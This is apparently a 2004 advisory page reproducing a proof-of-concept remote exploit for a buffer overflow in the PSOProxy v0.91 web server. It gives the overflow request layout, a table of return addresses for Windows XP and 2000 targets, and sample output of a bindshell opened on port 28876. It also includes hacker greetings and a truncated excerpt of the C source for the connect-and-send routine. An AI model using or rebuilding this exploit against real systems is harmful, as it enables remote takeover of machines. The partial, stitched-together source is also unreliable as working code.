PSOProxy is a "web server application designed to work with the Gamecube web browser. Its main purpose is to allow Phantasy Star Online snapshot files to be copied to a PC and converted to a common image file format".
As was reported in a previous article, the PSOProxy server contains a buffer overflow vulnerability. Presented here is a proof-of-concept exploit that can be used to test for this vulnerability.
-== Remote Exploit for PSOProxy version v0.91 ==--
Code by: rave
Contact: rave@rosiello.org
Date: Feb 2004
Bug found by: Donato Ferrante
There is a vulnerability found in the PSOProxy server.
An attacker can execute arbitrary code exploiting remotely a buffer overflow.
The exploit sends:
GET / <1021 x A><adres of the shellcode><shellcode>
This spawns a bindshell on the victim at port 28876..
Usage <C:\>psoproxy-exploit.exe <target host> <target number>
Target Number Target Name Stack Adress
============= =========== ===========
0 Demo 0xBADC0DED
1 Windows XP Home Edtion SP1. 0x00D2FDDA
2 Windows XP Pro Edtion SP1. 0x00EDFDDC
3 Win2k Pro Edtion. 0x00BBFDDC
<C:\> psoproxy-exploit localhost 1
[+] Winsock Inalized
[+] Trying to connect to localhost:8080
[+] socket inalized
[+] Overflowing string is Prepared
[+] Connected.
[+] Overflowing string had been send
<C:\> telnet localhost 28876
Microsoft Windows XP [versie 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
<D:\>
DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!!
Respect law as we do!
Special Tankz to:
opy { win2k 0wnage !! ty for lending me ur box }
B0f { Hope to work with u again in the futhure like we do all the time }
Dragnet { Always willing to help me out }
Angelo { Verry good maffio`so }
Greetz go out to:
Kajun { Verry suportive guy }
NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }
sloth { good guy }
Mercy { Hope to see u soon }
Netric security {www.netric.org/.de }
[+] All the hax0rs i forgot.
Hate Messages:
Ziphie { U didnt get mine bitch }
OOh and Li0n7 voila fr {
you're doing it all wrong, your exploit doesn't work!
http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0
k/j man, keep on doing the good stuff and next time add some more stack adresses so
it would work on other os`s...
fprintf(stdout,"[+] Overflowing string is Prepared\n");
// Knock knock ... hi i want to hook up with you
oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh ));
if(oops!=0) { fprintf(stderr,"[!] connect() failed.\n"); exit(-1); }
// yep wher`e in :D
fprintf(stdout,"[+] Connected.\n");
// Sending some Dangerous stuff
i = send(sd,buffer,strlen(buffer),0);
if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1) ; }
fprintf(stdout,"[+] Overflowing string had been send\n");
/* May psoproxy rest in peace (have cold a nice one and telnet to <host> 28876
<C:\> telnet localhost 28876
Microsoft Windows XP [versie 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.